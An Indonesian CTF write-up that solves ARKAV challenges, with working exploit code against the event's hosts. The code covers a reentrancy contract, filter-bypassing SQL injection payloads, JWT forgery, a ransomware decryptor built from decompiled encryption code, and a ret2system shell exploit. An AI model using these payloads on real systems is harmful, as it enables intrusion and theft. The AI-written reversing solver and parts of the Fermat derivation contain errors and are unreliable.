# Miscellanious
## Beat Frendy (36 ~ 100pts)
Diberikan sebuah koneksi netcat, jika kita connect ke dalam, akan muncul sebuah papan catur dan kita akan disuruh untuk melawan bot dengan memberikan move.
Jadi chall ini menyuruh pemain untuk melawan bot, dengan persyaratan, gerakan pertama itu `e2e4`.
Jadi singkat saja, penulis memakai bot stockfish untuk melawannya, dan membuat script python untuk automation.
```python
import stockfish
from pwn import *
# nc 20.189.72.196 8091
HOST = "20.189.72.196"
PORT = 8091
stockfish_engine = stockfish.Stockfish("./stockfish-windows-x86-64-avx2.exe", depth=26)
stockfish_engine.make_moves_from_current_position(["g2g4"])
io = remote(HOST, PORT)
def receive_move():
io.recvuntil(b"Frendy plays: ")
return io.recvline().strip().decode()
context.log_level = "debug"
io.sendline(b"g2g4")
while True:
opponent_move = receive_move()
stockfish_engine.make_moves_from_current_position([opponent_move])
best_move = stockfish_engine.get_best_move_time(1500)
io.sendline(best_move.encode())
stockfish_engine.make_moves_from_current_position([best_move])
```
FLAG: ARKAV{hanya_sepuh_yang_berani_make_opening_g2-g4}
## BabyETH (26 ~ 375pts)
Disini kita diberikan sebuah zip file yang berisi contract blockchain solidity, yang berarti ini challange blockchain.
```solidity
// Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "./BabyETH.sol";
contract Setup {
bool private solved;
BabyETH public babyETH;
constructor() payable {
babyETH = new BabyETH();
babyETH.deposit{value: 0.5 ether}();
}
function isSolved() external view returns (bool) {
return address(babyETH).balance == 0;
}
}
```
```solidity
// BabyETH.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BabyETH {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
uint256 currBalance = balances[msg.sender];
require(currBalance >= amount, "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
currBalance -= amount;
balances[msg.sender] = currBalance;
}
// Function to receive ETH
receive() external payable {}
}
```
Terdapat 2 file yaitu `BabyETH.sol` dan `Setup.sol`, dalam setup terdapat syarat chall solved yaitu balance babyETH menjadi 0. Dalam babyETH disana terdapat function deposit dan withdraw, dimana jika kita lihat, withdraw bisa terjadi reentrancy attack, karena pengurangan balance terjadi setelah contract mengirim balance.
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.3;
import {Vm} from "forge-std/Vm.sol";
import {Setup} from "./Setup.sol";
import {BabyETH} from "./BabyETH.sol";
function attackerScript(address _target, Vm vm) {
new Exploit{value: 0.5 ether}(_target).run();
}
contract Exploit {
Setup target;
BabyETH babyEth;
constructor(address _target) payable {
target = Setup(_target);
babyEth = target.babyETH();
}
function run() public {
babyEth.deposit{value: 0.5 ether}();
babyEth.withdraw(0.5 ether);
require(address(babyEth).balance == 0, "Exploit failed");
require(target.isSolved(), "Exploit failed");
}
// receiver
receive() external payable {
if (address(babyEth).balance > 0) {
babyEth.withdraw(0.5 ether);
}
}
}
```
FLAG: ARKAV{b4by_dUlu_y4k!!f1n4L_4rKaV_b4rU_so4L_bLokc3nG_h4rD}
# Web Exploitation
## Beta Token (69 ~ 100pts)
Diberikan sebuah link web tanpa source code, di dalam web tersebut terdapat login, dan view flag. Untuk melihat flag kita harus menjadi admin terlebih dahulu. dan Untuk login kita tidak perlu register terlebih dahulu.
Dengan keterangan diatas dapat disimpulkan jika ini tidak ada berkaitan dengan login, jadi kita bisa langsung check di session (cookies, local storage, etc.).
Pada cookies kita lihat ada key token, value tersebut ternyata merupakan JWT (Json Web Token), di dalam contentnya terdapat key value `USER` yang artinya kita harus exploit pada JWT.
Jika kita cermat pada deskripsi soal, terdapat leading untuk crack JWT menggunakan wordlist rockyou.
> Zagreus meet Sisyphus on his way to Olympus and befriended Him. One day, Sisyphus shared a secret to Zagreus. He claimed that this secret was told to him by his Boulder. When Zagreus heard of this secret he merely said, "What a weak secret, anyone can guess that."
> 

Setelah berhasil crack keynya, langsung saja ubah `USER` menjadi `ADMIN`.
FLAG: ARKAV{g00d_lUck_0n_Th3_N3xt_Ch4ll3ng3_14923857109213}
## TabTabiTab (18 ~ 676pts)
Diberikan sebuah link web tanpa source code, sama seperti chall sebelumnya. Disini tampilannya akan berupa login dengan adanya captcha, dan captcha akan berubah setiap kita refresh/masuk kembali ke halaman login.
Jika kita mencoba test sql-injection, akan muncul errors yang menandakan inputan dapat di inject, namun ada yang aneh pada errors message, karena sepasi pada payload akan hilang, jadi dapat disimpulkan jika kita harus bypass whitespace filter.
Karena ini berhubungan dengan sql-injection, maka penulis menggunakan burpsuite untuk intercept post login, setelah berhasil intercept, terdapat login dan password yang telah di encode dengan base64 lalu url-encode.
Jika kita check pada cookie `session` yang merupakan JWT, maka akan terlihat value captcha pada header, ini memudahkan untuk check captcha. Dan jika kita check session yang di set oleh server ketika attempt login, maka pada header akan terdapat pesan errors atau username dari user yang telah di fetch dari databse.
Dari sini penulis langsung mencoba untuk beberapa payload, dan dapat payload yang berhasil.
- **list tables**: `'or/**/1=0/**/union/**/select/**/group_concat(tbl_name)/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name/**/NOT/**/like/**/'sqlite_%';--/**/-#`
- **list columns table**: `'or/**/1=0/**/union/**/select/**/GROUP_CONCAT(name)/**/from/**/pragma_table_info('fl4gz_1s_h3re');--/**/-#`
- **get flag**: `'or/**/1=0/**/union/**/select/**/fl4gz/**/from/**/fl4gz_1s_h3re;--/**/-#`
FLAG: ARKAV{t4btab1tAb_bLacKboX_bl1ndSQli_C4ptcHa_ak4n_Ku_h4dap1_s3Muanya4}
# Cryptography
## Weird Format (59 ~ 100pts)
Diberikan sebuah koneksi dan source code. Di dalam source tersebut kita dapat hasil encrypt flag, dan encrypt message sendiri.
berikut detail encryption tersebut:
**Keygen**
- `p` & `q`: prime 384bit
- `g`, `r1`, `r2`: random 2 ~ n
$$\begin{aligned}
g_1 &= g^{r_1 (p - 1)} \mod n \\
g_2 &= g^{r_2 (q - 1)} \mod n
\end{aligned}$$
**Encryption**
- `s1`, `s2`: random 2 ~ n
- `m`: user message, must be 0 ~ n-1
$$\begin{aligned}
c_1 &= m \cdot g_1^{s_1} \mod n \\
c_2 &= m \cdot g_2^{s_2} \mod n
\end{aligned}$$
untuk g1 & g2, jika kita menggunakan teori *Fermat's Little Theorem*
$$
a^{p-1} \equiv 1 \mod p
$$
dan formula dapat di rubah menjadi
$$\begin{aligned}
g_p &= g^{r (p - 1)} \mod n \\
g_p &= g^{r^{(p - 1)}} \mod n \\
g_p &= gr^{(p - 1)} \mod n \\
\\
g_p &\equiv 1 \mod p \\
g_p &\equiv k p + 1
\end{aligned}$$
yang artinya `g_p` adalah kelipatan dari prima (p/q).
Kita bisa recovery value p & q dengan memberikan m = 1
$$\begin{aligned}
c &= 1 \cdot g_p^{s} \mod n \\
\\
c &\equiv 1^s \mod p \\
c &\equiv 1 \mod p \\
c &\equiv k p + 1
\end{aligned}$$
Selanjutnya untuk decryption flag
- `f`: flag
$$\begin{aligned}
c_1 &= f \cdot g_1^{s_1} \mod n \\
c_2 &= f \cdot g_2^{s_2} \mod n \\
\\
c_1 &= f \cdot 1 \mod p \\
c_2 &= f \cdot 1 \mod q \\
\end{aligned}$$
Karena f ada kemungkinan lebih besar dari 384 bit, maka kita bisa melakukan crt. Dengan begitu kita bisa menggabungkan semuanya
```python
import math
from functools import reduce
from Crypto.Util.number import long_to_bytes
from pwn import *
def gcd(a, b):
while b:
a, b = b, a % b
return a
def gcd_list(lst):
return reduce(lambda x, y: math.gcd(x, y), lst)
r = remote("20.195.43.216", 8555)
line = r.recvline().decode().strip()
print(line)
match = re.match(r"Encrypted Flag: \((\d+), (\d+)\)", line)
c1_flag = int(match.group(1))
c2_flag = int(match.group(2))
c1_list, c2_list = [], []
for _ in range(5):
r.sendlineafter(b">> ", b"1")
r.sendlineafter(b"Plaintext: ", b"1")
line = r.recvline().decode().strip()
match = re.match(r"Encrypted: \((\d+), (\d+)\)", line)
c1 = int(match.group(1))
c2 = int(match.group(2))
c1_list.append(c1)
c2_list.append(c2)
diffs_p = [c - 1 for c in c1_list]
p = gcd_list(diffs_p)
diffs_q = [c - 1 for c in c2_list]
q = gcd_list(diffs_q)
n = p * q
assert c1_flag < n and c2_flag < n, "Invalid n"
m_p = c1_flag % p
m_q = c2_flag % q
def crt(a, b, p, q):
inv_p = pow(p, -1, q)
x = a + p * ((b - a) * inv_p % q)
return x % (p * q)
m = crt(m_p, m_q, p, q)
flag = long_to_bytes(m)
print(flag)
```
FLAG: ARKAV{EZZZZ_f3rm47_t0_g3t_5t4rt3d_VROOM_VROOM!!!!!!}
# Reverse Engineering
## Pyrev (64 ~ 100pts)
Deberikan sebuah file python. Jika kita run akan muncul sebuah text yang meminta sebuah flag. Yang artinya ini adalah chall flag checker. Didalam chall tersebut menggunakan ctype untuk memakai c function, dan file tersebut load c function yang telah di pack ke dalam base64.
Untuk penyelesaian penulis dump bytecode ke dalam file, dan disassamble menggunakan ida.

dan selanjutnya penulis meminta ai untuk membuat solvernya
```python
# First, implement the sub_0 function from the decompiled C code
def sub_0(char_flag, idx):
char_flag_1 = char_flag
if (char_flag & 1) == 0:
char_flag_1 = char_flag + 1
v3 = idx % 4
if v3 != 0:
if v3 == 1:
temp = (-127 * idx) & 0xFF # Ensure it's unsigned 8-bit
elif v3 == 2:
temp = (3 * idx) & 0xFF
else: # v3 == 3
temp = (101 * idx) & 0xFF
else:
temp = (27 * idx) & 0xFF
return (char_flag_1 * temp) & 0xFF # Ensure result is unsigned 8-bit
# The expected output bytes in hex
expected_hex = "c1f6c5430aa35fa45753aa87d30c353089fc68111217baefc1c1933177770808f8f8e8e8acac24249c9cc9c97f7f3535ebeb67"
expected_bytes = bytes.fromhex(expected_hex)
flag_length = len(expected_bytes)
# Brute force each position
possible_chars = []
for i in range(flag_length):
expected = expected_bytes[i]
valid_chars = []
# Try all printable ASCII characters (32-126)
for c in range(32, 127):
result = sub_0(i, c)
if result == expected:
valid_chars.append(c)
possible_chars.append(valid_chars)
print(
f"Position {i}: {len(valid_chars)} possibilities - {[chr(c) for c in valid_chars]}"
)
# Check if we found at least one valid character for each position
if all(possible_chars):
# Take the first valid character for each position to construct a flag
flag_chars = [chars[0] for chars in possible_chars]
flag_string = "".join(chr(c) for c in flag_chars)
print(f"\nPotential flag: {flag_string}")
# Check positions with multiple possibilities
multiple_pos = [
(i, chars) for i, chars in enumerate(possible_chars) if len(chars) > 1
]
if multiple_pos:
print("\nPositions with multiple possibilities:")
for i, chars in multiple_pos:
print(f"Position {i}: {[chr(c) for c in chars]}")
# Try to identify a flag that looks more like a typical CTF flag
if flag_length > 5:
for i, chars in enumerate(possible_chars[:5]):
expected_chars = [ord("f"), ord("l"), ord("a"), ord("g"), ord("{")]
if expected_chars[i] in chars:
flag_chars[i] = expected_chars[i]
if ord("}") in possible_chars[-1]:
flag_chars[-1] = ord("}")
refined_flag = "".join(chr(c) for c in flag_chars)
print(f"\nRefined flag (with common format): {refined_flag}")
else:
print("\nNo complete solution found")
for i, chars in enumerate(possible_chars):
if not chars:
print(f"No valid character found for position {i}")
# Verify the solution
if all(possible_chars):
flag_bytes = bytes(flag_chars)
results = [sub_0(i, c) for i, c in enumerate(flag_bytes)]
result_hex = bytes(results).hex()
print(f"\nVerification:")
print(f"Expected: {expected_hex}")
print(f"Got: {result_hex}")
print(f"Match: {result_hex == expected_hex}")
# If we still have multiple possibilities, we can create a recursive search function
# to find all valid combinations
def find_all_flags(possible_chars, prefix=[], position=0, max_solutions=10):
if position == len(possible_chars):
flag_string = "".join(chr(c) for c in prefix)
return [flag_string]
solutions = []
for char in possible_chars[position]:
if len(solutions) >= max_solutions:
break
new_prefix = prefix + [char]
solutions.extend(
find_all_flags(
possible_chars, new_prefix, position + 1, max_solutions - len(solutions)
)
)
return solutions
# Only run the comprehensive search if we have a reasonable number of combinations
total_combinations = 1
for chars in possible_chars:
total_combinations *= len(chars)
if 1 < total_combinations < 10000: # Limit to avoid excessive computation
print(f"\nSearching through {total_combinations} possible combinations...")
all_flags = find_all_flags(possible_chars)
print(f"Found {len(all_flags)} possible flags:")
# Look for flags that match common CTF patterns
ctf_flags = [
flag for flag in all_flags if flag.startswith("flag{") and flag.endswith("}")
]
if ctf_flags:
print("Likely CTF flags:")
for flag in ctf_flags:
print(flag)
else:
print("Top 10 possible flags:")
for i, flag in enumerate(all_flags[:10]):
print(f"{i+1}. {flag}")
elif total_combinations > 1:
print(f"\nToo many combinations to search exhaustively: {total_combinations}")
print("Try refining the search with additional constraints")
```
FLAG: ARKAV{its_just_python_riiiiggghhhhhhtttttt????????}
## ChizuruRansomware (1 ~ 1000pts)
Diberikan zip file yang berisi executable file serta pdb file dan zip file yang sepertinya sudah di encrypt. Karena saat exe dijalankan tidak mucul apa-apa, langsung saja penulis analisis menggunakan ida.
Didalam function main terdapat flow program yang membingungkan, namun karena terdapat function yang sudah jelas di bikin oleh author, kita bisa fokus ke masing-masing function.
Function yang paling sering di panggil adalah function `sayang_chizuru`, function tersebut digunakan untuk load function dari standard library, kita bisa tahu dengan cara dynamic analysis, break line setelah call function akan muncul pointer ke function standard library. Selanjutnya kita bisa fokus ke function `cinta_chizuru`, karena di dalam function tersebut terdapat file indexing dan juga encryption file, encryption dilakukan pada function `rayu_chizuru`. Dengan begitu kita bisa backtrack dari function `cinta_chizuru`. Penulis mendapatkan function `peluk_chizuru` dan didalam function tersebut, akan ada thread baru yang menggunakan function `cinta_chizuru`.
```clike
int cinta_chizuru()
{
HANDLE FirstFileA; // rax
void *v1; // r14
char *v2; // rax
const char *v3; // rbx
HANDLE FileA; // rax
void *v5; // rbx
DWORD FileSize; // eax
DWORD v7; // edi
unsigned __int8 *v8; // rax
unsigned __int8 *v9; // rsi
unsigned int v10; // r9d
unsigned __int8 key[16]; // [rsp+40h] [rbp-C0h] BYREF
unsigned int NumberOfBytesRead; // [rsp+50h] [rbp-B0h] BYREF
unsigned int NumberOfBytesWritten; // [rsp+54h] [rbp-ACh] BYREF
_WIN32_FIND_DATAA findFileData; // [rsp+60h] [rbp-A0h] BYREF
char targetDirectory[44]; // [rsp+1A0h] [rbp+A0h] BYREF
*(__m128i *)targetDirectory = _mm_load_si128((const __m128i *)&_xmm);
strcpy(&targetDirectory[32], "s\\Important");
*(__m128i *)&targetDirectory[16] = _mm_load_si128((const __m128i *)&_xmm);
LODWORD(FirstFileA) = SetCurrentDirectoryA(targetDirectory);
if ( (_DWORD)FirstFileA )
{
FirstFileA = FindFirstFileA("*.*", &findFileData);
v1 = FirstFileA;
if ( FirstFileA != (HANDLE)-1LL )
{
*(_DWORD *)key = 1662659390;
*(_DWORD *)&key[4] = 221837213;
*(_DWORD *)&key[8] = -1537188561;
*(_DWORD *)&key[12] = 1532895205;
do
{
if ( (findFileData.dwFileAttributes & 0x10) == 0 )
{
v2 = strrchr(findFileData.cFileName, 46);
v3 = v2;
if ( !v2 || _stricmp(v2, ".exe") && _stricmp(v3, ".dll") )
{
FileA = CreateFileA(findFileData.cFileName, 0xC0000000, 1u, 0, 3u, 0x80u, 0);
v5 = FileA;
if ( FileA != (HANDLE)-1LL )
{
FileSize = GetFileSize(FileA, 0);
v7 = FileSize;
if ( FileSize - 1 <= 0xFFFFFFFD )
{
v8 = (unsigned __int8 *)malloc(FileSize);
v9 = v8;
if ( v8 )
{
if ( ReadFile(v5, v8, v7, &NumberOfBytesRead, 0) && NumberOfBytesRead == v7 )
{
rayu_chizuru(v9, v7 >> 1, key, v10);
SetFilePointer(v5, 0, 0, 0);
WriteFile(v5, v9, v7, &NumberOfBytesWritten, 0);
}
free(v9);
}
}
CloseHandle(v5);
}
}
}
}
while ( FindNextFileA(v1, &findFileData) );
LODWORD(FirstFileA) = FindClose(v1);
}
}
return (int)FirstFileA;
}
void __fastcall rayu_chizuru(unsigned __int8 *buffer, unsigned int length, unsigned __int8 *key, unsigned int a4)
{
char v6; // r8
unsigned int v7; // edx
char v9; // cl
unsigned __int8 SBOX[256]; // [rsp+0h] [rbp-A9h]
*(_DWORD *)SBOX = -168039271;
*(_DWORD *)&SBOX[4] = -539924927;
v6 = 0;
*(_DWORD *)&SBOX[8] = -2067739642;
v7 = 0;
*(_DWORD *)&SBOX[12] = -1839631656;
*(_DWORD *)&SBOX[16] = 1348351651;
*(_DWORD *)&SBOX[20] = 1155181357;
*(_DWORD *)&SBOX[24] = -853793974;
*(_DWORD *)&SBOX[28] = 717026464;
*(_DWORD *)&SBOX[32] = -1514209322;
*(_DWORD *)&SBOX[36] = 538154115;
*(_DWORD *)&SBOX[40] = 336607126;
*(_DWORD *)&SBOX[44] = 390671305;
*(_DWORD *)&SBOX[48] = -447412935;
*(_DWORD *)&SBOX[52] = -513067603;
*(_DWORD *)&SBOX[56] = 230117790;
*(_DWORD *)&SBOX[60] = 578778654;
*(_DWORD *)&SBOX[64] = 1388508143;
*(_DWORD *)&SBOX[68] = 246839943;
*(_DWORD *)&SBOX[72] = -262980050;
*(_DWORD *)&SBOX[76] = 1669457831;
*(_DWORD *)&SBOX[80] = 1894602453;
*(_DWORD *)&SBOX[84] = 671190504;
*(_DWORD *)&SBOX[88] = -1248656663;
*(_DWORD *)&SBOX[92] = 2091877860;
*(_DWORD *)&SBOX[96] = 1957831972;
*(_DWORD *)&SBOX[100] = 820385280;
*(_DWORD *)&SBOX[104] = 1018047546;
*(_DWORD *)&SBOX[108] = 2106297999;
*(_DWORD *)&SBOX[112] = 1185965389;
*(_DWORD *)&SBOX[116] = 1024006784;
*(_DWORD *)&SBOX[120] = -1083420706;
*(_DWORD *)&SBOX[124] = -681747464;
*(_DWORD *)&SBOX[128] = -49560573;
*(_DWORD *)&SBOX[132] = 184109200;
*(_DWORD *)&SBOX[136] = 660790321;
*(_DWORD *)&SBOX[140] = -1016807971;
*(_DWORD *)&SBOX[144] = 1783102472;
*(_DWORD *)&SBOX[148] = -876096609;
*(_DWORD *)&SBOX[152] = -473005457;
*(_DWORD *)&SBOX[156] = 294206344;
*(_DWORD *)&SBOX[160] = -154633323;
*(_DWORD *)&SBOX[164] = -1748661160;
*(_DWORD *)&SBOX[168] = -240512305;
*(_DWORD *)&SBOX[172] = 68943372;
*(_DWORD *)&SBOX[176] = -357450977;
*(_DWORD *)&SBOX[180] = 2017838630;
*(_DWORD *)&SBOX[184] = -1674337896;
*(_DWORD *)&SBOX[188] = -1275439255;
*(_DWORD *)&SBOX[192] = 803943632;
*(_DWORD *)&SBOX[196] = -1197295075;
*(_DWORD *)&SBOX[200] = 1745859591;
*(_DWORD *)&SBOX[204] = 434260978;
*(_DWORD *)&SBOX[208] = -1690284460;
*(_DWORD *)&SBOX[212] = 2037294218;
*(_DWORD *)&SBOX[216] = 1511380136;
*(_DWORD *)&SBOX[220] = 1113578359;
*(_DWORD *)&SBOX[224] = 941137390;
*(_DWORD *)&SBOX[228] = 1068053109;
*(_DWORD *)&SBOX[232] = -649880991;
*(_DWORD *)&SBOX[236] = 1277779040;
*(_DWORD *)&SBOX[240] = 2120688074;
*(_DWORD *)&SBOX[244] = -1853441568;
*(_DWORD *)&SBOX[248] = 1906758253;
for ( *(_DWORD *)&SBOX[252] = -1045662729; v7 < length; *(buffer - 1) = v6 ^ SBOX[*(buffer - 1)] ^ v9 )
{
++buffer;
v9 = v7;
v6 += key[v7 & 0xF] + v7;
++v7;
}
}
```
Jika kita mencoba untuk decrypt file langsung dengan ini, maka decryption hanya dapat mendecrypt setengah dari content file. Selanjutnya kita bisa fokus untuk mencari algo encryption yang lain
Jika kita lihat pada function `kangen_chizuru`, kita akan menemukan chunk code yang sangat besar, dan nama dari variabel tersebut adalah `embedd_pe`, yang berarti ada executable pe lagi yang nantinya akan di extract lalu di decrypt dengan function `senyum_chizuru` dan di jalankan pada program ini. Langsung saja dump program dan decrypt executable tersebut.

Didalam program tersebut, terdapat schema file encryption yang lain.
```clike
int sub_7FF7C1541000()
{
HANDLE FirstFileA; // rax
void *v1; // r13
FILE *v2; // rax
FILE *v3; // rbx
signed __int64 len_file; // r12
_BYTE *file_content; // rax
_BYTE *file_content_1; // rsi
int j; // ebp
__int64 k; // r10
int l; // r11d
void *v10; // rbx
__int128 half_m100; // [rsp+20h] [rbp-1B8h]
_WIN32_FIND_DATAA FindFileData; // [rsp+30h] [rbp-1A8h] BYREF
_OWORD v14[2]; // [rsp+170h] [rbp-68h] BYREF
char v15[16]; // [rsp+190h] [rbp-48h] BYREF
v14[0] = _mm_load_si128((const __m128i *)&xmmword_7FF7C1543300);
strcpy(v15, "s\\Important");
v14[1] = _mm_load_si128((const __m128i *)&xmmword_7FF7C1543310);
if ( SetCurrentDirectoryA((LPCSTR)v14) )
{
FirstFileA = FindFirstFileA("*.*", &FindFileData);
v1 = FirstFileA;
if ( FirstFileA != (HANDLE)-1LL )
{
do
{
if ( (FindFileData.dwFileAttributes & 0x10) == 0
&& !strstr(FindFileData.cFileName, ".exe")
&& !strstr(FindFileData.cFileName, ".dll") )
{
v2 = fopen(FindFileData.cFileName, "rb+");
v3 = v2;
if ( v2 )
{
fseek(v2, 0, 2);
len_file = ftell(v3);
fseek(v3, 0, 0);
if ( (int)len_file >= 116 )
{
file_content = malloc(len_file);
file_content_1 = file_content;
if ( file_content )
{
if ( fread(file_content, 1u, len_file, v3) == len_file )
{
j = 0;
k = (int)len_file / 2;
l = (int)len_file / 2;
for ( half_m100 = *(_OWORD *)&file_content_1[k - 100]; k < len_file; ++k )
{
if ( k < (int)len_file / 2 - 100LL || l >= (int)len_file / 2 - 84 )
{
file_content_1[k] = *((_BYTE *)&half_m100 + j % 16)
^ __ROL1__(file_content_1[k], *((_BYTE *)&half_m100 + j % 16) & 7);
++j;
}
++l;
}
fseek(v3, 0, 0);
fwrite(file_content_1, 1u, len_file, v3);
}
free(file_content_1);
}
}
fclose(v3);
}
}
}
while ( FindNextFileA(v1, &FindFileData) );
FindClose(v1);
FirstFileA = OpenEventA(2u, 0, "Global\\lmvyaz");
v10 = FirstFileA;
if ( FirstFileA )
{
SetEvent(FirstFileA);
LODWORD(FirstFileA) = CloseHandle(v10);
}
}
}
else
{
LODWORD(FirstFileA) = 1;
}
return (int)FirstFileA;
}
```
Setelah menemukan semua schema encryption, kita tinggal membuat decryptornya.
```python
import struct
SBOX = [
-168039271,
-539924927,
-2067739642,
-1839631656,
1348351651,
1155181357,
-853793974,
717026464,
-1514209322,
538154115,
336607126,
390671305,
-447412935,
-513067603,
230117790,
578778654,
1388508143,
246839943,
-262980050,
1669457831,
1894602453,
671190504,
-1248656663,
2091877860,
1957831972,
820385280,
1018047546,
2106297999,
1185965389,
1024006784,
-1083420706,
-681747464,
-49560573,
184109200,
660790321,
-1016807971,
1783102472,
-876096609,
-473005457,
294206344,
-154633323,
-1748661160,
-240512305,
68943372,
-357450977,
2017838630,
-1674337896,
-1275439255,
803943632,
-1197295075,
1745859591,
434260978,
-1690284460,
2037294218,
1511380136,
1113578359,
941137390,
1068053109,
-649880991,
1277779040,
2120688074,
-1853441568,
1906758253,
-1045662729,
]
SBOX_bytes = bytearray()
for value in SBOX:
SBOX_bytes.extend(value.to_bytes(4, byteorder="little", signed=True))
RE_SBOX = []
for i in range(256):
RE_SBOX.append(SBOX_bytes.index(i))
assert RE_SBOX[SBOX_bytes[0]] == 0
def decrypt(data, key):
res = bytearray(data)
k = 0
for i in range(len(data) // 2):
k += key[i % len(key)] + i
k %= 256
res[i] = RE_SBOX[(k ^ data[i] ^ (i % 256)) % 256]
return res
def ror8(value, shift):
return ((value >> shift) | (value << (8 - shift))) & 0xFF
def rol8(value, shift):
return ((value << shift) | (value >> (8 - shift))) & 0xFF
key = (
struct.pack("<I", 0x631A2B3E)
+ struct.pack("<I", 0x0D38F79D)
+ struct.pack("<I", 0xA4605D2F)
+ struct.pack("<I", 0x5B5E1FE5)
)
filename = "Important.zip"
name, ext = filename.split(".")
dec = open(f"{name}.{ext}", "rb").read()
dec = decrypt(dec, key)
len_file = len(dec)
j = 0
k = len_file // 2
i = struct.unpack_from("<16B", dec, k - 100)
while k < len_file:
if k < (len_file // 2 - 100) or k >= (len_file // 2 - 84):
dec[k] = ror8(i[j % 16] ^ dec[k], i[j % 16] & 7)
j += 1
k += 1
open(f"{name}_decrypted.{ext}", "wb").write(dec)
```
FLAG: ARKAV{unf0rtn4t3ly_it's_4ll_just_4_m3m0ry}
# Binary Exploitation
## Fortune's Tale (12 ~ 831pts)
Disini kita diberikan sebuah file zip dan netcat connection, didalam zip file terdapat file `chall`, `chall.c`, `Dockerfile`, dan `docker-compose.yml`.
Pertama-tama kita check protection dari binary tersebut.

Vulnerability yang terdapat pada chall ini dapat kita lihat pada case 2, size `buf` di set setelah di modulo dengan `MAX_SIZE`, jadi kita tetap bisa memberikan size lebih dari `MAX_SIZE`, dan juga size read dan write menggunakan size yang didefinisikan sendiri oleh user.
Untuk ide nya, karena terdapat pie, jadi kita harus leaking address dengan cara memberikan size besar, tanpa memberikan inputan apa-apa. Lalu replace return address dengan address function `system` dan memberikan tambahan pada stack address `/bin/sh\x00`.
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template chall '--host=20.195.43.216' '--port=8001'
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or "chall")
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or "20.195.43.216"
port = int(args.PORT or 8001)
def start_local(argv=[], *a, **kw):
"""Execute the target binary locally"""
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
"""Connect to the process on the remote host"""
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
"""Start the exploit against the target."""
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
break *main+377
continue
""".format(
**locals()
)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# Stripped: No
# Debuginfo: Yes
io = start()
context.log_level = "info"
def choice2(length, data):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Size: ", str(length).encode())
io.sendlineafter(b"Text: ", data)
return io.recvuntil(b"1. Take a fortune").strip().split(b"1. Take a fortune")[0]
data = choice2(500, b"")
_data = data[3:]
ret_addr = [
u32(_data[i : i + 4]) if len(_data[i : i + 4]) == 4 else 0
for i in range(0, len(_data), 4)
][70]
real_ret_addr = 0x18AF
exe.address = ret_addr - real_ret_addr
idx_data = 70 * 4 + 3
log.info(f"ret_addr: {hex(ret_addr)}")
log.info(f"exe.address: {hex(exe.address)}")
data = bytearray(data)
payload = flat([exe.sym["system"], b"BBBB", next(exe.search(b"/bin/sh\x00"))])
data[idx_data : idx_data + len(payload)] = payload
data.insert(0, 0xFF)
choice2(500, data)
io.sendlineafter(b"> ", b"3")
io.interactive()
```
FLAG: ARKAV{__pwn__no__akachan__}